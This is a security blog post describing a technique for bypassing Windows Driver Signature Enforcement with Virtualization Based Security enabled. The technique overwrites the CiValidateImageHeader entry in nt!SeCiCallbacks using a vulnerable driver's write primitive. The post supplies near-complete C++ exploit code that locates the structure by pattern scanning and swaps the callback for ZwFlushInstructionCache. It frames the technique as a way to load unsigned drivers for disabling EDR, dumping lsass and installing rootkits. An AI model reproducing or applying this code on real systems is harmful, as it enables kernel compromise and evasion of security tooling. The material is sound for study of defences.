Links

The dusk of g_CiOptions: circumventing DSE with VBS enabled

In this article, we will explore the concept of bypassing Driver Signature Enforcement (DSE) in the Virtualization Based Security (VBS) era with only a write-what-where exploit primitive.

Preface

In recent years, threat actors have increasingly embraced the BYOVD (Bring Your Own Vulnerable Driver) technique as a modern attack vector. This approach allows them to evade security measures specifically designed to prevent the execution of unauthorized code in the kernel.
Drivers possess high privileges within an operating system, making them attractive targets for attackers aiming to establish persistence and escalate their privileges. Some common tasks include locating and disabling kernel EDR hooks, disabling or killing EDR entirely, dumping protected processes such as lsass.exe if shielded by PP/PPL (Protected Process Light), installing rootkits and bootkits, etc.
As obtaining a legitimate Extended Validation (EV) certificate for driver signing through the Microsoft application process can be a complex endeavor (and lately requires submitting drivers to Microsoft for verification purposes), it is more feasible for an attacker to exploit existing legitimately signed driver to disable DSE (bypassing the signature verification process) and load their unsigned malicious driver.

Most common DSE bypass

For years, the default way of bypassing DSE was about patching the _nt_!g_CiEnabled / CI!g_CiOptions variable by exploiting a write-what-where / kernel code execution primitive. Later, Kernel Patch Protection aka KPP (informally known as PatchGuard) was introduced by Microsoft and it became necessary to utilize the small time frame before the PatchGuard spots the difference to load unsigned drivers and restore the variable after the patch (or the system will eventually BSOD).
I was in fact working on such an example while going through the Offensive Driver Development course by Zero-Point Security and was surprised to see that it didn't work. Interestingly enough, I didn't have VBS on at that time and was able to patch the variable itself. However, my unsigned driver didn't load after the successful patch. I also tailored the CVE-2018-19320 example for my specific Windows version, and again, the variable was patched but the driver didn't load:
P.S. Hello, PatchGuard!
I decided that instead of troubleshooting this issue I could utilize a more reliable technique that bypasses not only DSE but DSE with VBS enabled.

VBS

Virtualization-based security (VBS) relies on hardware virtualization to isolate the Windows kernel by providing a second one - "Secure kernel".
You can read more about it at Windows docs or at XPN's g_CiOptions in a Virtualized World. @XPN explains in detail how VBS protects the g_CiOptions variable by utilizing the MmProtectDriverSection procedure from the KDP (Kernel Data Protection) API.
There are three recently-developed techniques to bypass DSE with VBS enabled:
  • Page Swapping (requires kernel R/W primitives) (credit @FortiGuard Labs)
  • Patching CiValidateImageHeader after PTE flip (requires kernel R/W primitives) (credit @XPN, @trustedsec)
  • Callback Swapping (requires kernel W primitive) (credit @FortiGuard Labs)
I decided to implement Callback Swapping as it only requires a kernel write primitive.

Callback Swapping FTW

The general method description and implementation hints are mentioned at The Swan Song for Driver Signature Enforcement Tampering. Notably, we need to find the CiValidateImageHeader entry in the nt!SeCiCallbacks structure and replace it with the pointer to a function that always returns 0 and takes no arguments. We can effectively always "pass" the code signature check as the swapped function will be called instead of CiValidateImageHeader, returning 0 (successful validation).
Looking at ntoskrnl.exe, we can find the CI!CipInitialize call with the nt!SeCiCallbacks structure at the end of the nt!SepInitializeCodeIntegrity function:
It can be later observed that this structure is populated with different CI* callbacks at the CI!CipInitialize routine (called by the CI!CipInitialize wrapper):
As the memory segment of nt!SeCiCallbacks is not protected by KDP, we can freely tamper with it and thus replace the CiValidateImageHeader entry. We also need to find the "swapper" function that satisfies our requirements and resides in the same module (it's best to find an exported function so we can call GetProcAddress on it). As mentioned by @FortiGuard Labs, we can use routines like FsRtlSyncVolumes or ZwFlushInstructionCache to our aid:
As most modules in Windows are effectively "mirrored" between user space and kernel space (where only the base address differs and the offsets from that base address are the same), we can attempt to find reliable offsets from user space and then resolve the base address of the module in the kernel space with undocumented NtQuerySystemInformation.
Let's attempt to find the offsets in the debugger. I decided to first go with pattern scanning to find the lea r8, [nt!SeCiCallbacks] instruction (0xff, 0x48, 0x8b, 0xd3, 0x4c, 0x8d, 0x05):
We can then calculate the LEA relative offset by adding the last 4 bytes of the instruction to the next instruction's address (0x47479e + 0xfffff807241a91a2 in my case).
After that, we utilize the static 0x20 (32) offset from the decompiled CipInitialize function that points to the CiValidateImageHeader entry, and our replacement point is found:
From that point, resolving FsRtlSyncVolumes / ZwFlushInstructionCache and swapping is easy.
The code for that would look similar to this:
struct seCiCallbacks_swap {
DWORD64 ciValidateImageHeaderEntry;
DWORD64 zwFlushInstructionCache;
};
seCiCallbacks_swap getCiValidateImageHeaderEntry()
{
// getting kernel space module base of ntoskrnl.exe with NtQuerySystemInformation
PVOID kModuleBase = GetModuleBase("ntoskrnl.exe");
// loading the ntoskrnl.exe into our user space process and resolving it's base
HMODULE uNt = LoadLibraryEx(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
DWORD64 uNtAddr = (DWORD64)uNt;
void* ntoskrnl_ptr = (void*)uNt;
// pattern for signature scanning of lea r8, [nt!SeCiCallbacks]
unsigned char pattern[] = { 0xff, 0x48, 0x8b, 0xd3, 0x4c, 0x8d, 0x05 };
// pattern scanning
DWORD64 seCiCallbacksInstr = 0x0;
for (unsigned int i = 0; i < 0x1000000; i++) { // i < module.len() is better
for (int j = 0; j < sizeof(pattern); j++) {
unsigned char chr = *(char*)(uNtAddr + i + j);
if (pattern[j] != chr) {
break;
}
if (j + 1 == sizeof(pattern)) {
seCiCallbacksInstr = uNtAddr + i + 4; // finds only one occurrence
}
}
}
// offset for the LEA instruction start
DWORD seCiCallbacksLeaOffset = *(DWORD64*)(seCiCallbacksInstr + 3);
// calculating the nt!seCiCallbacks struct address (user space)
DWORD64 seCiCallbacksAddr = seCiCallbacksInstr + 3 + 4 + seCiCallbacksLeaOffset;
// calculating raw offset of the nt!seCiCallbacks struct
DWORD64 kernelOffset = seCiCallbacksAddr - uNtAddr;
// adding the offset of nt!seCiCallbacks to kernel space module base to get its kernel address
DWORD64 kernelAddress = (DWORD64)kModuleBase + kernelOffset;
// resolving the kernel nt!zwFlushInstructionCache address
DWORD64 zwFlushInstructionCache = (DWORD64)GetProcAddress(uNt, "ZwFlushInstructionCache") - uNtAddr + (DWORD64)kModuleBase;
// obtaining the nt!seCiCallbacks[ciValidateImageHeader] entry kernel address
DWORD64 ciValidateImageHeaderEntry = kernelAddress + 0x20;
return seCiCallbacks_swap { ciValidateImageHeaderEntry,
zwFlushInstructionCache };
}
int main()
{
HANDLE hDriver = CreateFile(L"\\\\.\\VulnerableDriver", FILE_ALL_ACCESS, FILE_SHARE_READ, nullptr, OPEN_EXISTING, 0, nullptr);
if (hDriver == INVALID_HANDLE_VALUE)
{
return 1;
}
ioctl_packet drv_pkt { ... };
seCiCallbacks_swap seCiData = getCiValidateImageHeaderEntry();
drv_pkt.write_to_address = seCiData.ciValidateImageHeaderEntry;
drv_pkt.data_to_write = seCiData.zwFlushInstructionCache;
unsigned char output[2048] {};
DWORD bytes_returned {};
DeviceIoControl(hDriver, IOCTL_CODE, &drv_pkt, sizeof(drv_pkt), &output, sizeof(output), &bytes_returned, nullptr);
CloseHandle(hDriver);
}